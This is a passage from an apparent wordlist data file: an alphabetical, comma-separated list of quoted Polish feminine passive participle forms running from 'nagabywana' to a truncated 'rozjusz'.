"nagabywana","nagadana","nagięta","naginana","nagłaszana","nagłośniona","nagoniona","nagradzana","nagrana","nagrodzona","nagromadzona","nagrywana","nagryzmolona","nagrzana","nagrzebana","nagrzewana","nagwizdana","naigrywana","najechana","najęta","najmowana","nakarmiana","nakarmiona","nakazana","nakazywana","nakierowana","nakierowywana","nakładana","nakłamana","nakłaniana","naklejana","naklejona","naklepana","nakłoniona","nakłuta","nakłuwana","nakopana","nakręcana","nakręcona","nakreślana","nakreślona","nakruszona","nakryta","nakrywana","nakrzyczana","nakupiona","naładowana","nalana","nałapana","nalepiona","nalewana","naliczona","nałowiona","nałożona","namaczana","namagnetyzowana","namalowana","namaszczana","namaszczona","namawiana","namęczona","namierzana","namieszana","namoczona","namówiona","namydlana","namyślona","naniesiona","naoliwiana","naoliwiona","naopowiadana","naostrzona","napadana","napadnięta","napakowana","napalona","naparzana","napastowana","napawana","napchana","napędzana","napełniana","napełniona","napierana","napiętnowana","napięta","napinana","napisana","napluta","napływana","napoczęta","napojona","napompowana","napotkana","napotykana","napraszana","naprawiana","naprawiona","naprężana","naprężona","napromieniowana","naprostowana","naprowadzana","naprowadzona","napsuta","napuszczana","napuszczona","napychana","napytana","narąbana","naradzana","naradzona","narastana","narażana","narażona","nareperowana","narkotyzowana","narodzona","naruszana","naruszona","narwana","narysowana","narzucana","narzucona","nasączana","nasączona","nasadzona","nasiąkana","nasilana","nasilona","naskakiwana","naskoczona","naskrobana","naśladowana","nasłana","nasłuchana","nasłuchiwana","nasmarowana","nastąpiona","nastawiana","nastawiona","nastraszana","nastrojona","nastukana","nasunięta","nasuwana","naświetlana","nasycona","nasyłana","nasypana","naszczana","naszkicowana","naszpikowana","naszprycowana","naszykowana","naszyta","naszywana","natarta","natchnięta","natknięta","natleniona","natłuszczona","natrafiona","natrząsana","natrząsnięta","nauczana","nauczona","nawadniana","nawalona","nawiązana","nawiązywana","nawiedzana","nawiedzona","nawiercona","nawiewana","nawieziona","nawigowana","nawijana","nawilżana","nawilżona","nawinięta","nawlekana","nawodniona","nawoływana","nawoskowana","nawożona","nawpychana","nawracana","nawrócona","nawrzucana","nawtykana","nawymyślana","nazbierana","nazmyślana","naznaczana","naznaczona","nazrywana","nazwana","nazywana","nęcona","negocjowana","negowana","nękana","neutralizowana","niańczona","niecierpliwiona","niedoceniana","niedowidziana","nienawidzona","niesiona","nikolona","niszczona","nitkowana","niuchana","niweczona","niwelowana","nokautowana","nominowana","notowana","nucona","numerowana","nurtowana","obaczona","obadana","obalana","obalona","obandażowana","obarczana","obarczona","obawiana","obchodzona","obciągnięta","obciążona","obcięta","obcinana","obcyndalana","obczajana","obczajona","obdarowana","obdarta","obdarzana","obdarzona","obdzielona","obdzierana","obdzwaniana","obdzwoniona","obejmowana","oberwana","obessana","obezwładniana","obezwładniona","obfotografowana","obfotografowywana","obgadana","obgadywana","obgryzana","obgryziona","obiecana","obiecywana","obierana","obijana","obita","objadana","objaśniana","objawiana","objawiona","objechana","objęta","objeżdżana","obkręcana","oblana","obłapiana","obłapywana","obłaskawiana","obłaskawiona","obleciana","oblegana","oblewana","obliczana","obliczona","oblizana","obłowiona","obłożona","obluzowana","obluzowywana","obmacana","obmacywana","obmawiana","obmyślana","obmyślona","obmyta","obmywana","obnażana","obniżana","obniżona","obnoszona","obowiązywana","obozowana","obrabiana","obrabowana","obracana","obradowana","obramowana","obraniana","obrana","obrastana","obrażana","obrażona","obrobiona","obrócona","obrodzona","obroniona","obrysowana","obrywana","obryzgana","obrzezana","obrzucana","obrzucona","obrzygana","obsadzana","obsadzona","obściskiwana","obserwowana","obsiana","obsikana","obsikiwana","obskakiwana","obskoczona","obskubana","obskubywana","obśliniana","obśliniona","obsługiwana","obsłużona","obsmarowana","obstawiana","obstawiona","obstrzeliwana","obsunięta","obsuwana","obsypana","obsypywana","obszukana","obszukiwana","obtaczana","obtarta","obtoczona","obudzona","obwąchana","obwąchiwana","obwiązana","obwiązywana","obwieszana","obwieszczana","obwieszczona","obwieszona","obwijana","obwiniana","obwinięta","obwołana","obyta","obżerana","ocalana","ocalona","ocechowana","oceniana","oceniona","ocenzurowana","ochładzana","ochlapana","ochlapywana","ochłodzona","ochłonięta","ochraniana","ochroniona","ochrzaniana","ochrzczona","ociągana","ocielona","ocieplana","ocieplona","ocierana","ocknięta","ocucona","ocuta","oczarowywana","oczekiwana","oczerniana","oczerniona","oczyszczana","oczyszczona","odarta","odbębniona","odbetonowana","odbezpieczana","odbezpieczona","odbijana","odbita","odblokowana","odbudowana","odbudowywana","odbutowana","odbyta","odcedzana","odchorowana","odchowana","odchudzana","odchudzona","odchylana","odchylona","odciągana","odciągnięta","odciążona","odcierpiona","odcięta","odcinana","odcisnięta","odcumowana","odcyfrowana","odcyfrowywana","odczarowana","odczekana","odczepiana","odczepiona","odczuta","odczuwana","odczyniona","odczytana","odczytywana","oddalana","oddana","oddawana","oddelegowana","oddychana","oddzielana","oddzielona","odebrana","odegnana","odegrana","odejmowana","odepchnięta","oderwana","odeskortowana","odesłana","odespana","odessana","odetkana","odetnięta","odezwana","odfiltrowana","odgadnięta","odgadywana","odganiana","odgarniana","odgarnięta","odgięta","odgniatana","odgoniona","odgradzana","odgrażana","odgrodzona","odgruzowana","odgrywana","odgryzana","odgryziona","odgrzana","odgrzebana","odgrzebywana","odgrzewana","odgwizdana","odhaczona","odholowana","odinstalowana","odizolowana","odjedzona","odjęta","odjonizowana","odkażana","odkażona","odkładana","odklejona","odkochana","odkodowana","odkodowywana","odkopana","odkopywana","odkorkowana","odkręcana","odkręcona","odkrojona","odkryta","odkrywana","odkupiona","odkupywana","odkurzana","odkurzona","odkuta","odłączana","odłączona","odłamywana","odlana","odlatywana","odlepiana","odlewana","odliczana","odliczona","odłożona","odłupana","odmachana","odmachiwana","odmalowana","odmarszczona","odmawiana","odmeldowana","odmieniana","odmieniona","odmierzana","odmierzona","odmieszana","odmontowana","odmówiona","odmrażana","odmrożona","odnajdowana","odnaleziona","odnawiana","odniesiona","odnoszona","odnotowana","odnotowywana","odnowiona","odpakowana","odpakowywana","odpalana","odpalona","odpałzowana","odparowana","odparta","odpędzana","odpicowana","odpieczętowana","odpierana","odpięta","odpiłowana","odpiłowywana","odpinana","odpisana","odpisywana","odpłacana","odplamiona","odplątana","odpłynięta","odpowietrzona","odpracowana","odpracowywana","odprasowana","odprawiana","odprawiona","odprężana","odprostowana","odprowadzana","odprowadzona","odpruta","odpryskana","odpukana","odpukiwana","odpuszczana","odpuszczona","odpychana","odrąbana","odrabiana","odrąbywana","odradzana","odradzona","odrapana","odrastana","odratowana","odreagowana","odremontowana","odrestaurowana","odrestaurowywana","odrobaczana","odrobiona","odroczona","odrodzona","odrośnięta","odróżniana","odróżniona","odrysowana","odrywana","odrzucana","odrzucona","odsączana","odsączona","odsadzona","odseparowana","odsiadywana","odsiana","odsiewana","odsłaniana","odsłonięta","odsłuchana","odsłuchiwana","odsłużona","odśnieżana","odśnieżona","odsolona","odśpiewana","odsprzedana","odsprzedawana","odstąpiona","odstawiana","odstawiona","odstępowana","odstraszana","odstręczona","odstresowana","odstrzeliwana","odstrzelona","odsunięta","odsuwana","odświeżana","odświeżona","odsyłana","odsypywana","odsysana","odszczekana","odszczekiwana","odsztafirowana","odszukana","odszyfrowana","odszyfrowywana","odszykowana","odtrąbiona","odtrącona","odtruta","odtwarzana","odtworzona","oduczona","odurzona","odwalana","odwalona","odwiązana","odwiązywana","odwiedzana","odwiedzona","odwieszona","odwieziona","odwijana","odwinięta","odwlekana","odwodniona","odwodzona","odwołana","odwoływana","odwożona","odwracana","odwrócona","odwzajemniona","odwzorowana","odżegnana","odziana","odziedziczona","odznaczana","odznaczona","odzwieciedlona","odzwierciedlana","odzwoniona","odzwyczajona","odzyskana","odzyskiwana","odżyta","odzywiana","odżywiona","oferowana","ofiarowana","ofiarowywana","ogarniana","ogarnięta","oglądana","ogłaszana","ogłoszona","ogłupiana","ogłupiona","ogłuszona","ogołocona","ogolona","ograbiana","ograbiona","ograniczana","ograniczona","ograna","ogrodzona","ogryziona","ogrzana","ogrzewana","okablowana","okaleczona","okantowana","okąpana","okazana","okazywana","okiełznana","okładana","okłamana","okłamywana","oklaskiwana","oklejona","oklepana","okopana","okopywana","okpiona","okradana","okradziona","okraszona","okrążana","okrążona","okręcana","okręcona","określana","określona","okrojona","okryta","okrywana","okrzyknięta","okulawiona","okupiona","okupowana","olana","olewana","olśnięta","omamiona","omawiana","omdlewana","omijana","ominięta","omotana","omówiona","onanizowana","onieśmielana","onieśmielona","opadnięta","opakowana","opalana","opalona","opancerzona","opanowana","opanowywana","oparta","oparzona","opasana","opatentowana","opatrywana","opatrzona","opatulona","opchnięta","opędzana","opędzona","operowana","opętana","opętywana","opieczętowana","opiekowana","opierana","opijana","opisana","opisywana","opita","opłacana","opłacona","opłakana","opłakiwana","opłukana","opluta","opluwana","opływana","opodatkowana","opodatkowywana","oponowana","oporządzana","oporządzona","opowiadana","opowiedziana","opóźniana","opóźniona","opracowana","opracowywana","oprawiana","oprawiona","oprowadzana","oprowadzona","opróżniana","opróżniona","opryskana","opryskiwana","opublikowana","opukana","opuszczana","opuszczona","opychana","opylona","orana","orbowana","organizowana","orientowana","oroszona","orzekana","orżnięta","osaczana","osaczona","osadzana","osądzana","osadzona","osądzona","oscylowana","osiadana","osiągana","osiągnięta","osiedlana","osiedlona","osiedzona","osierocona","osiodłana","oskalpowana","oskarżona","oskrobana","oskrzydlana","oskrzydlona","oskubana","oskubywana","osłabiana","osłabiona","oślepiana","oślepiona","oślepnięta","ośliniana","osłodzona","osłoniona","osłuchana","osmalona","ośmielona","ośmieszana","ośmieszona","ostrzegana","ostrzelana","ostrzelita","ostrzona","ostudzona","osunięta","osuszana","osuszona","osuwana","oswajana","oświadczana","oświadczona","oświecana","oświeciona","oświetlana","oświetlona","oswobadzana","oswobodzona","oswojona","oszacowana","oszałamiana","oszczana","oszczędzana","oszczędzona","oszklona","oszlifowana","oszołomiona","oszpecona","oszukana","oszukiwana","oszwabiona","otaczana","otarta","otoczona","otruta","otruwana","otrząsana","otrząśnięta","otrzepana","otrzeźwiona","otrzymana","otrzymywana","otulona","otumaniona","otwierana","otworzona","otwarta","owana","owdowiona","owiana","owijana","owinięta","ozdabiana","ozdobiona","ozdrowiona","ożeniona","oznaczana","oznaczona","oznajmiana","oznajmiona","oznakowana","ożyta","ożywana","ożywiana","ożywiona","pachnąca","pacnąta","pakowana","paktowana","pałana","pałaszowana","palnięta","palona","pamiętana","panoszona","paprana","parafrazowana","paraliżowana","parkowana","parowana","partaczona","parta","parzona","pastowana","paszona","patrolowana","patroszona","patrzona","pauzowana","pchana","pchnięta","pdholowana","pedałowana","pękana","pęknięta","pełniona","penetrowana","perforowana","perfumowana","perswadowana","piastowana","pichcona","pielęgnowana","pielona","pieniona","pieszczona","piętnowana","pięta","pijana","pikietowana","piknikowana","pikowana","pilnowana","pilotowana","piłowana","pisana","pisywana","pita","płacona","plądrowana","plamiona","planowana","płaszczona","plątana","płatana","pławiona","plewiona","płonąca","płoszona","plotkowana","plugawiona","płukana","pluskana","pluta","pobaraszkowana","pobierana","pobita","pobłażana","pobłogosławiona","pobrana","pobrudzona","pobudzana","pobudzona","pobujana","pocałowana","pocerowana","pochłaniana","pochlapana","pochlebiana","pochłonięta","pochowana","pochwalana","pochwalona","pochwycona","pochylana","pochylona","pociachana","pociągana","pociągnięta","pocierana","pocieszana","pocieszona","pocięta","pocona","pocukrowana","poćwiartowana","poczesana","poczęstowana","poczęta","poczochrana","poczuta","poczytana","poczytywana","podana","podarowana","podarta","podawana","podążona","podbierana","podbijana","podbita","podbudowana","podbudowywana","podburzana","podburzona","podchwycona","podciągana","podciągnięta","podcierana","podcięta","podcinana","podczepiona","poddana","poddawana","podebrana","podejmowana","podejrzana","podejrzewana","podelektowana","podeptana","poderwana","podesłana","podglądana","podgolona","podgoniona","podgryzana","podgrzana","podgrzewana","podjadana","podjedzona","podjęta","podkablowana","podkarmiona","podkładana","podklejona","podkolorowana","podkołowana","podkopana","podkopywana","podkradana","podkradnięta","podkręcana","podkręcona","podkreślana","podkreślona","podkształcona","podkulona","podkupiona","podkurzona","podkuta","podłączana","podłączona","podładowana","podłamana","podlana","podłapana","podleczona","podlegana","podlewana","podliczana","podliczona","podlizana","podlizywana","podłożona","podmalowana","podmieniana","podmieniona","podmuchana","podmyta","podnajęta","podniecana","podniecona","podniesiona","podnoszona","podołana","podopingowana","podostrzona","podotykana","podpadnięta","podpalana","podpalona","podparta","podpatrywana","podpatrzona","podpieczętowana","podpiekana","podpierana","podpięta","podpiłowana","podpinana","podpisana","podpisywana","podpłacona","podpłynięta","podpompowana","podporządkowana","podporządkowywana","podpowiadana","podpowiedziana","podprowadzana","podpuszczana","podpuszczona","podpychana","podpytana","podrabiana","podrapana","podrasowana","podratowana","podrażniona","podręczona","podregulowana","podreperowana","podretuszowana","podrobiona","podroczona","podróżowana","podrygiwana","podrywana","podrzucana","podrzucona","podrzynana","podsadzona","podskubywana","podsłuchana","podsłuchiwana","podsmażana","podsmażona","podśpiewywana","podstawiana","podstawiona","podstemplowana","podstrojona","podsumowana","podsumowywana","podsunięta","podsuwana","podświetlana","podsycana","podsycona","podsyłana","podsypana","podszczypywana","podszkolona","podszlifowana","podszykowana","podszyta","podszywana","podtapiana","podtarta","podtopiona","podtrzymana","podtrzymywana","podtuczona","poduczana","podupadana","poduszona","podwajana","podwalana","podważana","podwędzona","podwiązana","podwieszana","podwieziona","podwijana","podwinięta","podwojona","podwożona","podwyżana","podwyższana","podwyższona","podyktowana","podyskutowana","podziabana","podziałana","podziałkowana","podziękowana","podzielona","podziurawiona","podziwiana","podźwignięta","poeksperymentowana","pofarbowana","pofatygowana","pofilmowana","poganiana","pogardzana","pogardzona","pogarszana","pogaszona","pogładzona","pogłaskana","pogłębiana","pogłębiona","pogłośniona","pogmatwana","pognębiona","pognieciona","pogodzona","pogoniona","pogorszona","pogotowana","pograbiona","pogrążana","pogrążona","pogrożona","pogrubiana","pogrubiona","pogruchana","pogruchotana","pogrupowana","pogrywana","pogryzana","pogryziona","pogrzana","pogrzebana","pogubiona","pogwałcana","pohamowana","pohandlowana","poharatowana","pohuśtana","poinformowana","poinstruowana","pojednana","pojęta","pojmięta","pojmowana","pojona","pokajana","pokaleczona","pokarana","pokarmiona","pokąsana","pokatalogowana","pokazana","pokazywana","pokiereszowana","pokierowana","pokiwana","pokładana","poklepana","poklepywana","pokłoniona","pokłuta","pokochana","pokolorowana","pokoloryzowana","pokołysana","pokombinowana","pokomplikowana","pokonana","pokończona","pokonywana","pokopana","pokrajana","pokrążona","pokręcona","pokrojona","pokruszona","pokryta","pokrywana","pokrzepiana","pokrzepiona","pokrzyżowana","pokuszona","pokutowana","połączona","polakierowana","połamana","polana","połapana","połaskotana","połatana","polecana","połechtana","polecona","poleczona","polegana","polemizowana","polepszana","polepszona","polerowana","polewana","policzkowana","policzona","polimeryzowana","polizana","połknięta","polowana","połowiona","położona","polubiona","poluźniona","poluzowana","połykana","pomacana","pomachana","pomagana","pomalowana","pomarynowana","pomasowana","pomazana","pomęczona","pomiatana","pomieszana","pomieszczona","pomijana","pominięta","pomiziana","pomknięta","pomnażana","pomniejszana","pomniejszona","pomnożona","pomoczona","pompowana","pomydlona","pomylona","pomyszkowana","pomywana","ponabijana","ponaciskana","ponadziewana","ponaglana","ponaglona","ponagrywana","ponaklejana","ponakłuwana","ponakrywana","ponaprawiana","ponawiana","poniańczona","poniechana","ponieiwerana","poniesiona","poniszczona","poniżana","poniżona","ponoszona","ponowiona","ponudzona","poobcinana","poobcowana","poobczajana","poobijana","poobmacywana","poobracana","poobserwowana","poodbijana","poodcinana","poodgryzana","poodkurzana","poodprawiana","poodsuwana","poodwalana","pooglądana","poograniczana","poopalana","poopiekana","poopwiadana","pootwierana","popadana","popakowana","popalona","poparta","poparzona","popchana","popchnięta","popędzana","popędzona","popękana","popełniana","popełniona","poperfumowana","popierana","popieszczona","popijana","popilnowana","popisana","popita","popłacona","popłakiwana","poplamiona","poplątana","popluskana","popodcinana","popodziwiana","popoprawiana","poprana","poprasowana","poprawiana","poprawiona","poproszona","poprowadzona","popryskana","poprzebierana","poprzeciągana","poprzecinana","poprzedzana","poprzeglądana","poprzeklinana","poprzekopywana","poprzemieszczana","poprzenoszona","poprzesadzana","poprześladowana","poprzestawiana","poprzesuwana","poprzewieszana","poprzewracana","poprzycinana","poprzymierzana","poprzytulana","poprzywiązywana","popsuta","popudrowana","popukana","popularyzowana","popuszczana","popuszczona","popychana","popykana","popytana","porabiana","porachowana","poraniona","poratowana","porażona","poręczona","porównana","porozbierana","porozbijana","porozciągana","porozcinana","porozdawana","porozdzielana","porozmieszczana","poróżniona","porozpędzana","porozpieszczana","porozprowadzana","porozpruwana","porozrzucana","porozstawiana","porozsyłana","porozumiewana","porozwalana","porozwiązywana","porozwieszana","porozwożona","portretowana","poruszana","poruszona","porwana","porysowana","porywana","porządkowana","porządzona","porzucana","porzucona","posądzana","posadzona","posądzona","pościągana","pościelona","pościerana","pościgana","pościnana","pościskana","posegregowana","posiadana","posiana","posiekana","posilana","posiłkowana","posilona","posiłowana","posiniaczona","posiorbana","poskąpiona","poskładana","posklejana","poskramiana","poskręcana","poskrobana","poskromiona","poskubana","posłana","posłodzona","poślubiana","poślubiona","posługiwana","posmakowana","posmarowana","posolona","posortowana","pospekulowana","pospieszana","pośpieszana","pośpiewana","pospinana","pospłacana","posprawdzana","posprzątana","posprzedawana","pośredniczona","possana","postanowiona","postana","postarana","postawiona","postemplowana","posterowana","postradana","postraszona","postrugana","postrzegana","postrzelana","postrzelona","postukana","postymulowana","posunięta","posuwana","poświącana","poświadczona","poświecona","poświęcona","poświętowana","poświntuszona","posyłana","posypana","posypywana","poszarpana","poszastana","poszatkowana","poszczuta","poszczycona","poszczypana","poszerzana","poszerzona","poszorowana","poszpiegowana","poszturchana","poszukana","poszukiwana","poszwędana","poszybowana","potakiwana","potarmoszona","potarta","potasowana","potęgowana","potępiana","potępiona","potknięta","potoczona","potopiona","potorturowana","potrącana","potrącona","potraktowana","potrojona","potruta","potrząsana","potrzaskana","potrząsnięta","potrząśnięta","potrzymana","Poturbowana","poturlana","potwierdzona","potykana","poucinana","pouczana","pouczona","poudawana","poukładana","pouprawiana","poupychana","pourywana","poustawiana","poużywana","powąchana","powachlowana","powalana","powalona","poważana","powbijana","powciągana","powciskana","powdychana","powęszona","powetowana","powiadamiana","powiadomiona","powiązana","powiedziana","powiedzona","powiększana","powielana","powielona","powierzana","powierzona","powieszona","powiewana","powinszowana","powitana","powita","powkładana","powlekana","powłóczona","powodowana","powołana","powoływana","powożona","powpychana","powrócona","powrzucana","powsadzana","powściągnięta","powspominana","powstrzymana","powtarzana","powtórzona","powybierana","powybijana","powycierana","powycinana","powyciskana","powydawana","powyganiana","powyginana","powyjaśniana","powyjmowana","powyłączana","powymiatana","powymieniana","powynoszona","powypełniana","powypisywana","powyrywana","powyrzucana","powystrzelana","powysyłana","powywalana","powywieszana","powywracana","powzięta","pozabawiana","pozabijana","pozacierana","pożądana","pożądlona","pozadzierana","pozakładana","pozaklinana","pozałatwiana","pozamiatana","pozamieniana","pozamrażana","pozamykana","pozapalana","pozapinana","pozapisywana","pozapraszana","pożarta","pozasłaniana","pozastrzelana","pozatykana","pozbawiana","pozbawiona","pozbierana","pozbyta","pozbywana","pozdejmowana","pozdrawiana","pozdrowiona","pożegnana","pożerana","pozmiatana","pozmieniana","pozmywana","poznaczona","poznana","poznawana","poznęcana","pozorowana","pozostawiana","pozostawiona","pozowana","pozrywana","pozszywana","pożuta","pozwalniana","pozwana","pozwiązywana","pozwiedzana","pozwolona","pożyczana","pożyczona","pozyskana","pożyta","pozywana","pożywiana","pożywiona","praktykowana","prana","prasowana","prawiona","prażona","precyzowana","preferowana","prenumerowana","prezentowana","próbowana","procesowana","produkowana","profanowana","profilowana","prognozowana","programowana","projektowana","proklamowana","prolongowana","promieniowana","promowana","propagowana","proponowana","prosperowana","prostowana","proszkowana","proszona","protestowana","protokołowana","prowadzona","prowokowana","pruta","pryskana","pryśnięta","przeanalizowana","przearanżowana","przebaczana","przebaczona","przebadana","przebiegnięta","przebierana","przebijana","przebita","przebolona","przebrana","przebudowana","przebudowywana","przebudzana","przebudzona","przebukowana","przebyta","przebywana","przeceniana","przeceniona","przechlapana","przechodzona","przechowana","przechowywana","przechrzcona","przechwycona","przechwytywana","przechylana","przechylona","przechytrzana","przechytrzona","przeciągana","przeciągnięta","przeciążana","przeciążona","przeciekana","przecierana","przecierpiana","przecięta","przecinana","przeciskana","przeciśnięta","przeciwstawiana","przećwiczona","przeczekana","przeczesana","przeczesywana","przeczołgana","przeczuta","przeczuwana","przeczyszczona","przeczytana","przedarta","przedawkowana","przedawkowywana","przedekorowana","przedłożona","przedłużana","przedłużona","przedmuchana","przedobrzona","przedostana","przedostawana","przedsiewzięta","przedstawiana","przedstawiona","przedymana","przedyskutowana","przedzierana","przedziurawiona","przedziurkowana","przeegzaminowana","przefaksowana","przefarbowana","przefasonowana","przefasowana","przefaxowana","przefiltrowana","przeformowana","przeforsowana","przegadana","przeganana","przeganiana","przegapiana","przegapiona","przegięta","przeginana","przeglądana","przeglądnięta","przegłodzona","przegłosowana","przegoniona","przegotowana","przegotowywana","przegrabiona","przegradzana","przegrana","przegrupowana","przegrupowywana","przegrywana","przegryzana","przegryziona","przegrzana","przegrzebana","przegrzewana","przehandlowana","przeholowana","przeinstalowana","przeistoczona","przejadana","przejaskrawiana","przejaśniona","przejawiana","przejawiona","przejechana","przejęta","przejeżdżana","przejmowana","przejrzana","przekabacana","przekabacona","przekablowana","przekalibrowana","przekalkulowana","przekarmiana","przekąszona","przekazywana","przekierowana","przekierowywana","przekimana","przekładana","przeklejona","przeklęta","przeklinana","przeklnięta","przekłuta","przekonana","przekonfigurowana","przekonstruowana","przekonwertowana","przekonywana","przekopana","przekopywana","przekoziołkowana","przekraczana","przekręcana","przekręcona","przekreślana","przekreślona","przekroczona","przekrojona","przekrzyczona","przekrzywiona","przekształcana","przekształcona","przekupiona","przekupywana","przekuta","przekwalifikowana","przełączana","przełączona","przeładowana","przeładowywana","przełamana","przełamywana","przelana","przelatywana","przeleciana","przelewana","przeleżana","przelicytowana","przeliczana","przeliczona","przeliterowana","przełknięta","przełożona","przełykana","przełyknięta","przemalowana","przemalowywana","przemaszerowana","przemawiana","przemeblowana","przemęczona","przemielona","przemieniana","przemierzona","przemieszczana","przemieszczona","przemijana","przemilczana","przemilczona","przeminięta","przemknięta","przemodelowana","przemusztrowana","przemycana","przemycona","przemyślana","przemyślona","przemyta","przemywana","przenegocjowana","przeniesiona","przenikana","przeniknięta","przenoszona","przeobrażana","przeobrażona","przeoczana","przeoczona","przeorana","przeorganizowana","przeorientowana","przepadana","przepakowana","przepalona","przeparkowana","przepchana","przepchnięta","przepędzana","przepędzona","przepełniana","przepełniona","przepijana","przepiłowana","przepisana","przepisywana","przepita","przepłacana","przepłacona","przepłakana","przeplanowana","przepłoszona","przepłukana","przepłukiwana","przepłynięta","przepływana","przepompowana","przepompowywana","przepowiadana","przepowiedziana","przepracowana","przepracowywana","przeprana","przeprawiana","przeprawiona","przeprogramowana","przeprojektowana","przeprowadzana","przeprowadzona","przepuszczana","przepuszczona","przepychana","przepytana","przepytywana","przerąbana","przerabiana","przeradzana","przerastana","przerażona","przeredagowana","przerejestrowana","przerobiona","przerodzona","przerośnięta","przerwana","przerysowana","przerywana","przerzedzana","przerzucana","przerzucona","przesączona","przesadzana","przesądzana","przesadzona","przesądzona","prześcigana","prześcignięta","przesiadana","przesiadywana","przesiana","przesiedlana","przesiedlona","przesiedziana","przesiewana","przesilona","przeskakiwana","przeskalowana","przeskanowana","przeskoczona","przeskrobana","prześladowana","przesłaniana","przesłana","prześledziona","prześlizgnięta","przesłodzona","przesłonięta","przesłuchana","przesłuchiwana","przesmarowana","przesolona","przesortowana","przespana","prześpiewana","przessana","przestawiana","przestawiona","przestemplowana","przestraszona","przestrojona","przestrzegana","przestrzelona","przestudiowana","przesunięta","przesuwana","prześwietlana","prześwietlona","przesyłana","przesypana","przesypiana","przesypywana","przeszarżowana","przeszczepiana","przeszczepiona","przeszkadzana","przeszkolona","przeszmuglowana","przeszukana","przeszukiwana","przeszyta","przeszywana","przetaczana","przetańczona","przetapetowana","przetarta","przetestowana","przetkana","przetoczona","przetopiona","przetrącona","przetransformowana","przetransmitowana","przetransponowana","przetransportowana","przetrawiona","przetrwana","przetrząsana","przetrząśnięta","przetrzepana","przetrzymana","przetrzymywana","przetwarzana","przetworzona","przewalana","przewalczona","przewaletowana","przewalona","przeważana","przeważona","przewertowana","przewiązana","przewiązywana","przewidywana","przewidziana","przewiercana","przewiercona","przewieszana","przewieszona","przewietrzona","przewieziona","przewijana","przewinięta","przewitana","przewodniczona","przewodzona","przewożona","przewracana","przewrócona","przewyższana","przeymierzana","przeżarta","przeżeglowana","przeżegnana","przeziębiona","przezimowana","przeznaczana","przeznaczona","przeżuta","przezwyciężana","przezwyciężona","przeżyta","przezywana","przeżywana","przodowana","przpochlebiona","przwdziewana","przybastowana","przybierana","przybijana","przybita","przybliżana","przybliżona","przybrana","przycelowana","przycepiona","przychylona","przyciągana","przyciągnięta","przyciemniona","przycięta","przycinana","przyciskana","przyciśnięta","przyciszona","przyćmiewana","przyćmiona","przycumowana","przyczepiana","przyczesana","przyczołgana","przyczyniona","przydepnięta","przydeptana","przyduszona","przydzielana","przydzielona","przygarnięta","przygaszona","przygazowana","przygładzana","przygnębiana","przygniatana","przygnieciona","przygotowana","przygruchana","przygrywana","przygryzana","przygryziona","przygrzana","przygwożdżona","przyhamowana","przyholowana","przyjana","przyjęta","przyjmowana","przyjrzana","przykładana","przyklejona","przyklepana","przykopana","przykręcana","przykręcona","przykrócona","przykryta","przykrywana","przykurzona","przykuta","przykuwana","przyłączana","przyłączona","przylana","przyłapana","przylegana","przylepiana","przylepiona","przyłożona","przymierzona","przymilana","przymknięta","przymocowana","przymuszana","przynależona","przyniesiona","przynoszona","przynudzana","przyostrzona","przyozdabiana","przyozdobiona","przypadnięta","przypakowana","przypakowywana","przypalana","przypalona","przyparta","przypasowana","przypatrywana","przypatrzona","przypieczętowana","przypiekana","przypierana","przypięta","przypilnowana","przypiłowana","przypinana","przypisana","przypisywana","przypłacona","przyplątana","przypłynięta","przypodobana","przypominana","przypomniana","przyporządkowana","przyprawiana","przyprawiona","przyprowadzona","przypucowana","przypudrowana","przypuszczana","przypuszczona","przyrównana","przyrządzana","przyrządzona","przysiadana","przysiągnięta","przyskrzydlona","przyskrzyniana","przyskrzyniona","przysłaniana","przysłana","przysłodzona","przysłoniona","przysłuchiwana","przysługiwana","przysłużona","przysmażana","przysmażona","przyspieszana","przyspieszona","przysporzona","przysposobiona","przyśrubowywana","przyssana","przystąpiona","przystawiana","przystawiona","przystemplowana","przystopowana","przystosowana","przystrojona","przysunięta","przysuwana","przyswajana","przyświecana","przyświęcona","przyswojona","przysyłana","przysypana","przyszpilona","przyszykowana","przyszyta","przyszywana","przytaczana","przytargana","przytarta","przytaszczana","przytępiana","przytępiona","przytkana","przytłaczana","przytłoczona","przytłumiona","przytoczona","przytrafiona","przytroczona","przytruwana","przytrzasnięta","przytrzymana","przytrzymywana","przytulana","przytulona","przytwierdzana","przytwierdzona","przytykana","przyuczona","przyuważona","przywabiona","przywalana","przywalona","przywarowana","przywarta","przywdziana","przywiązana","przywiązywana","przywidziana","przywieziona","przywitana","przywłaszczana","przywłaszczona","przywołana","przywoływana","przywożona","przywracana","przywrócona","przyznaczona","przyznana","przyznawana","przyzwalana","przyzwana","przyzwyczajana","przyzwyczajona","przyzywana","psiamana","pstrykana","pstryknięta","psuta","publikowana","puchnięta","pucowana","pudłowana","pudrowana","puknięta","punktowana","pustoszona","puszczana","puszczona","puszkowana","puszona","pykana","pytana","rabowana","rachowana","racjonalizowana","racjonowana","raczona","radowana","raniona","raportowana","ratowana","ratyfikowana","reaktywowana","realizowana","reanimowana","recytowana","ręczona","redagowana","redukowana","reformowana","refowana","regenerowana","regionalizowana","regulowana","reinkarnowana","rejestrowana","reklamowana","rekomendowana","rekompensowana","rekonstruowana","rekreowana","rekrutowana","rekwirowana","relacjonowana","relaksowana","remodulowana","remontowana","renegocjowana","reorganizowana","reperowana","replikowana","represejonowana","reprezentowana","reprodukowana","resetowana","resocjalizowana","respektowana","resuscytowana","retuszowana","rewanżowana","rewidowana","rezerwowana","rezonowana","rezygnowana","reżyserowana","robiona","rodzona","rojona","rolowana","romansowana","roniona","rozbawiana","rozbawiona","rozbierana","rozbijana","rozbita","rozbłyśnięta","rozbrajana","rozbrojona","rozbudowana","rozbudowywana","rozbudzana","rozbudzona","rozbujana","rozcapierzona","rozchmurzona","rozchodzona","rozchylana","rozchylona","rozciągana","rozciągnięta","rozcieńczana","rozcieńczona","rozcierana","rozcięta","rozcinana","rozczarowana","rozczarowywana","rozczesana","rozczłonkowana","rozczulana","rozczytana","rozdana","rozdawana","rozdeptana","rozdmuchana","rozdmuchiwana","rozdrabniana","rozdrapana","rozdrapywana","rozdrażniana","rozdrażniona","rozduszona","rozdwojona","rozdysponowana","rozdzielana","rozdzielona","rozdzierana","rozdziewiczona","rozebrana","rozedrana","rozegrana","rozegrywana","rozepchana","rozerwana","rozesłana","rozgarnięta","rozgaszczana","rozgięta","rozglaszana","rozgłoszona","rozgniatana","rozgnieciona","rozgniewana","rozgoniona","rozgraniczona","rozgrana","rozgromiona","rozgrywana","rozgryzana","rozgryziona","rozgrzana","rozgrzebywana","rozgrzeszona","rozgrzewana","rozhuśtana","rozjaśniana","rozjaśniona","rozjechana","rozjedzona","rozjusz